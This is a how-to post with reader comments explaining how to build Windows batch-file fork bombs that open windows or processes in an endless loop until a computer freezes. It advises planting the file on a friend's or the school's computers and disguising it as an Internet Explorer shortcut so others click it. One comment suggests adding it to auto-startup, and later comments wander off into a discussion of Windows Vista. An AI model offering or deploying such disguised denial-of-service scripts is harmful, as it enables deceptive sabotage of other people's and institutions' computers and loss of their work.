How to Crash Your Computer

Introduction: How to Crash Your Computer

Very Simple . . .

Step 1: Just Go to Notepad

Just go to notepad (start>all programs>accessories>notepad) and type exactly this script btween the lines:
___________________________________________________________________@echo off:crashstartgoto crash___________________________________________________________________

Step 2: Save As .bat

goto file>save as>crash.bat
and save! But remember when you open this file command prompt windows will open until the computer crashes or freezes so it would be better if you placed this on a friend's or the school's computers.

Step 3: Different Variations

There are different scripts that you can write in notepad to get a batch file with similar reactions.
such as:
________________@echo off:startstart %0goto start_________________or_________________@echo off:1start iexplore.exegoto 1_________________or_________________@echo off:foldermd *goto folder_________________or_________________@echo off:1startecho Windows is now crashing . . .goto 1_________________

Step 4: Disguise It

When you place this file on someone else's computer you have to make the file look persuasive to click on desktop. So find the crash.bat file in documents or all files, right-click it>send to>desktop(create shortcut). Now find it on your desktop>right click>properties>change icon>change it to nternet explorer icon>apply>exit. Right click it again>rename>rename to: Internet Explorer

Step 5: Recovering From the Crash

To recover your desktop (PC) from this just directly pull the plugs from your PC and put the plugs back in and start it up again or just hold the power button on your PC until it turns off and restart again.
I'm not sure about how to recover from this with labtops.

    Really good one. We could use it like a prank. I already think about sending it as a file to my friend. My laptop didn’t crash, but it was impossible to work with this. The only way to recover the laptop is rebooting the system. And what if it‘s in auto-startup? Then you only are able to stop it through REINSTALLING THE SYSTEM 😳😳😳

    you have said this twice… most networked computers have the service "messenger service" disabled to prevent that exact thing from happening!… in the end… not plausible on most networks.

    just the fact that it will fill up at least 20GB of space once all the updates are completed and the major problem that it is a system resource hog and it is prone to crashing at slight problems like some sort of auxillary program running on it that isn't specifically designed for windows vista, and i forgot to mention the compatibility issues that come along with it. Other than all of that it's just another os that does a few fancy visual effects.

    my moms vista laptop shipped with hardware registery errors that made the screen act really weird… rendering the laptop virtually worthless.

    I don't actually find it to be that much of a resource hog, I don't even have a dual-core computer and it runs fine, even with all the graphic effects on!!

    most of the people that had issues with vista were either gamers or hackers, cus half the great classic games like quake or doom dont work and the hackers a peeved off cus all the path ways are all different and it doesnt come with command prompt as standard
